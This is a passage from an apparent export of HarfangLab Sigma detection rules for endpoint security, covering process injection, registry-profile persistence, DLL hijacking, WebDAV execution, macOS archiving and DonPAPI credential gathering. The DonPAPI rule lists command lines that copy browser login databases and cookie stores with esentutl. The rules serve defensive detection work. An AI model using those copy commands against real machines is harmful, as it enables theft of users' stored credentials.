+  "creation_date": "2026-03-23T11:45:34.079554Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.079559Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_sacrificial_process_openwith.yml",
+  "content": "title: OpenWith.exe Sacrificial Process Spawned\nid: 2c3aa5ca-f30f-4e2e-924d-43c8087144f4\ndescription: |\n    Detects the suspicious execution of the legitimate OpenWith.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\n    Such processes are spawned and malicious code is immediately injected into them for nefarious purposes.\n    This technique is used by Rhadamanthys, a malicious information stealer which is being distributed mostly via malicious Google advertisements.\n    It is recommended to investigate the parent process performing this action and the destination IP address of the OpenWith.exe process to determine the legitimacy of this behavior.\nreferences:\n    - https://research.checkpoint.com/2023/rhadamanthys-v0-5-0-a-deep-dive-into-the-stealers-components/\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2024/03/27\nmodified: 2025/08/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.SacrificialProcess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        CommandLine: '?:\\Windows\\System32\\OpenWith.exe'\n\n    filter_parent:\n        ParentImage:\n            - '?:\\Windows\\explorer.exe'\n            - '?:\\Windows\\System32\\sihost.exe'\n\n    exclusion_rpcnet:\n        ProcessAncestors: '?:\\Windows\\SysWOW64\\svchost.exe|?:\\Windows\\SysWOW64\\rpcnet.exe|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2c3aa5ca-f30f-4e2e-924d-43c8087144f4",
+  "rule_name": "OpenWith.exe Sacrificial Process Spawned",
+  "rule_description": "Detects the suspicious execution of the legitimate OpenWith.exe Windows binary, spawned without arguments. This can mean that the binary is being used as sacrificial process.\nSuch processes are spawned and malicious code is immediately injected into them for nefarious purposes.\nThis technique is used by Rhadamanthys, a malicious information stealer which is being distributed mostly via malicious Google advertisements.\nIt is recommended to investigate the parent process performing this action and the destination IP address of the OpenWith.exe process to determine the legitimacy of this behavior.\n",
+  "rule_creation_date": "2024-03-27",
+  "rule_modified_date": "2025-08-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2c6b334b-a6f9-4041-8cdd-d91ebdaa6ba6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626477Z",
+  "creation_date": "2026-03-23T11:45:34.626479Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626483Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://deceptiq.com/blog/ntuser-man-registry-persistence",
+    "https://attack.mitre.org/techniques/T1547/001/"
+  ],
+  "name": "t1547_001_registry_mandatory_profile.yml",
+  "content": "title: User Registry Hive Hijacked via Mandatory Profile\nid: 2c6b334b-a6f9-4041-8cdd-d91ebdaa6ba6\ndescription: |\n    Detects the creation or modification of an NTUSER.MAN file in a user profile directory.\n    Attackers may plant a crafted NTUSER.MAN (mandatory user profile) file to load any registry keys into the user's HKCU hive at next logon without invoking registry APIs or triggering kernel registry callbacks, thus bypassing security solutions.\n    It is recommended to validate whether the file creation is legitimate within your environment.\nreferences:\n    - https://deceptiq.com/blog/ntuser-man-registry-persistence\n    - https://attack.mitre.org/techniques/T1547/001/\ndate: 2026/01/08\nmodified: 2026/01/09\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.001\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: filesystem_event\ndetection:\n    selection:\n        - Path: '?:\\Users\\\\*\\NTUSER.MAN'\n          Kind: 'create'\n        - TargetPath: '?:\\Users\\\\*\\NTUSER.MAN'\n          Kind: 'rename'\n\n    exclusion_profsvc:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s ProfSvc'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s ProfSvc'\n            - '?:\\windows\\system32\\svchost.exe -k netsvcs'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2c6b334b-a6f9-4041-8cdd-d91ebdaa6ba6",
+  "rule_name": "User Registry Hive Hijacked via Mandatory Profile",
+  "rule_description": "Detects the creation or modification of an NTUSER.MAN file in a user profile directory.\nAttackers may plant a crafted NTUSER.MAN (mandatory user profile) file to load any registry keys into the user's HKCU hive at next logon without invoking registry APIs or triggering kernel registry callbacks, thus bypassing security solutions.\nIt is recommended to validate whether the file creation is legitimate within your environment.\n",
+  "rule_creation_date": "2026-01-08",
+  "rule_modified_date": "2026-01-09",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1547.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2cacb51e-86d2-4851-9e44-b3544e02427f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091445Z",
+  "creation_date": "2026-03-23T11:45:34.091447Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091452Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fltmc.yml",
+  "content": "title: DLL Hijacking via fltmc.exe\nid: 2cacb51e-86d2-4851-9e44-b3544e02427f\ndescription: |\n    Detects potential Windows DLL Hijacking via fltmc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'fltmc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\FLTLIB.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2cacb51e-86d2-4851-9e44-b3544e02427f",
+  "rule_name": "DLL Hijacking via fltmc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via fltmc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2ccca8c6-4fec-4f8e-a3eb-c4693b526b28",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074206Z",
+  "creation_date": "2026-03-23T11:45:34.074208Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074212Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cert.gov.ua/article/6276894",
+    "https://attack.mitre.org/techniques/T1021/002/"
+  ],
+  "name": "t1021_002_execution_from_webdav.yml",
+  "content": "title: Suspicious Execution from WebDAV Share\nid: 2ccca8c6-4fec-4f8e-a3eb-c4693b526b28\ndescription: |\n    Detects the execution of a process from a WebDAV share.\n    WebDAV is an unusual location for binaries to be executed from.\n    Attackers can use distant WebDAV shares to executed malicious binaries from without having to put them on the infected system.\n    Is it recommended to analyze the executed binary and look malicious content or behavior.\nreferences:\n    - https://cert.gov.ua/article/6276894\n    - https://attack.mitre.org/techniques/T1021/002/\ndate: 2024/01/26\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image:\n            - '\\\\\\\\*@80\\\\*'\n            - '\\\\\\\\*@443\\\\*'\n            - '\\\\\\\\*@SSL\\\\*'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2ccca8c6-4fec-4f8e-a3eb-c4693b526b28",
+  "rule_name": "Suspicious Execution from WebDAV Share",
+  "rule_description": "Detects the execution of a process from a WebDAV share.\nWebDAV is an unusual location for binaries to be executed from.\nAttackers can use distant WebDAV shares to executed malicious binaries from without having to put them on the infected system.\nIs it recommended to analyze the executed binary and look malicious content or behavior.\n",
+  "rule_creation_date": "2024-01-26",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2cdfd8e4-0fb6-42ec-83a6-010700352f20",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600335Z",
+  "creation_date": "2026-03-23T11:45:34.600339Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600346Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_set.yml",
+  "content": "title: DLL Hijacking via set.exe\nid: 2cdfd8e4-0fb6-42ec-83a6-010700352f20\ndescription: |\n    Detects potential Windows DLL Hijacking via set.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'setx.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\sspicli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2cdfd8e4-0fb6-42ec-83a6-010700352f20",
+  "rule_name": "DLL Hijacking via set.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via set.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2d0520f1-59a9-4523-8001-7336ef5c28cc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618443Z",
+  "creation_date": "2026-03-23T11:45:34.618445Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618449Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/1560/001/"
+  ],
+  "name": "t1560_001_ditto_archive_creation.yml",
+  "content": "title: Archive Created via ditto\nid: 2d0520f1-59a9-4523-8001-7336ef5c28cc\ndescription: |\n    Detects a suspicious archive creation using the ditto MacOS utility.\n    Adversaries may compress and/or encrypt collected data using ditto prior to exfiltration.\n    It is recommended to check the processes leading to ditto's execution, the content of the archive, and any other alerts that may have been raised around this event.\nreferences:\n    - https://attack.mitre.org/techniques/1560/001/\ndate: 2024/06/13\nmodified: 2025/03/27\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1560.001\n    - attack.t1119\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Tool.Ditto\n    - classification.macOS.Behavior.Collection\n    - classification.macOS.Behavior.Exfiltration\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        Image|endswith: '/ditto'\n        CommandLine|contains|all:\n            - ' -c'\n            - ' --sequesterRsrc'\n            - ' --keepParent'\n\n    exclusion_airwatch:\n        ProcessParentImage: '/Library/Application Support/AirWatch/hublogd'\n\n    exclusion_outlook:\n        ProcessParentImage: '/Applications/Microsoft Outlook.app/Contents/MacOS/Microsoft Outlook'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2d0520f1-59a9-4523-8001-7336ef5c28cc",
+  "rule_name": "Archive Created via ditto",
+  "rule_description": "Detects a suspicious archive creation using the ditto MacOS utility.\nAdversaries may compress and/or encrypt collected data using ditto prior to exfiltration.\nIt is recommended to check the processes leading to ditto's execution, the content of the archive, and any other alerts that may have been raised around this event.\n",
+  "rule_creation_date": "2024-06-13",
+  "rule_modified_date": "2025-03-27",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1119",
+    "attack.t1560.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2d125387-a98b-4b47-843e-3e6a3fb7b5eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087464Z",
+  "creation_date": "2026-03-23T11:45:34.087466Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087470Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/login-securite/DonPAPI/",
+    "https://attack.mitre.org/techniques/T1047/",
+    "https://attack.mitre.org/techniques/T1555/003/"
+  ],
+  "name": "t1555_003_donpapi_browser_credentials.yml",
+  "content": "title: Browser Credentials Gathered via DonPAPI\nid: 2d125387-a98b-4b47-843e-3e6a3fb7b5eb\ndescription: |\n    Detects browser credential gathering via a legacy version of the DonPAPI tool.\n    DonPAPI is a Python tool specialized in gathering DPAPI (Data Protection Application Programming Interface) protected credentials.\n    DPAPI is a method to encrypt and decrypt sensitive data such as credentials using the CryptProtectData and CryptUnprotectData functions used in particular used by browsers.\n    It is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\nreferences:\n    - https://github.com/login-securite/DonPAPI/\n    - https://attack.mitre.org/techniques/T1047/\n    - https://attack.mitre.org/techniques/T1555/003/\ndate: 2024/03/05\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - attack.credential_access\n    - attack.t1555.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        #  CommandLine:\n        #     - 'cmd.exe /Q /c del ?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data.tmp'\n        #     - 'cmd.exe /Q /c del ?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.tmp'\n        #     - 'cmd.exe /Q /c del ?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network\\Safe Browsing Cookies.tmp'\n        #     - 'cmd.exe /Q /c del ?:\\Users\\\\*\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*\\\\*.tmp'\n        #     - 'cmd.exe /Q /c esentutl.exe /y ?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data /d ?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data.tmp'\n        #     - 'cmd.exe /Q /c esentutl.exe /y ?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies /d ?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies.tmp'\n        #     - 'cmd.exe /Q /c esentutl.exe /y ?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data /d ?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data.tmp'\n        #     - 'cmd.exe /Q /c esentutl.exe /y ?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network\\Safe Browsing Cookies /d ?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network\\Safe Browsing Cookies.tmp'\n        #     - 'cmd.exe /Q /c esentutl.exe /y ?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies /d ?:\\Users\\\\*\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies.tmp'\n        #     - 'cmd.exe /Q /c esentutl.exe /y ?:\\Users\\\\*\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*\\\\* /d ?:\\Users\\\\*\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*\\\\*.tmp'\n        ProcessParentName: wmiprvse.exe\n        ProcessName: 'cmd.exe'\n        CommandLine|re: '.*cmd.exe /Q /c esentutl.exe /y ([^/]*(/d )?){2}.tmp'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "2d125387-a98b-4b47-843e-3e6a3fb7b5eb",
+  "rule_name": "Browser Credentials Gathered via DonPAPI",
+  "rule_description": "Detects browser credential gathering via a legacy version of the DonPAPI tool.\nDonPAPI is a Python tool specialized in gathering DPAPI (Data Protection Application Programming Interface) protected credentials.\nDPAPI is a method to encrypt and decrypt sensitive data such as credentials using the CryptProtectData and CryptUnprotectData functions used in particular used by browsers.\nIt is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\n",
+  "rule_creation_date": "2024-03-05",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1047",
+    "attack.t1555.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "2d20cb47-e527-4738-b5ba-ab12cd7da516",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.096927Z",
+  "creation_date": "2026-03-23T11:45:34.096929Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.096934Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_fxsunatd.yml",
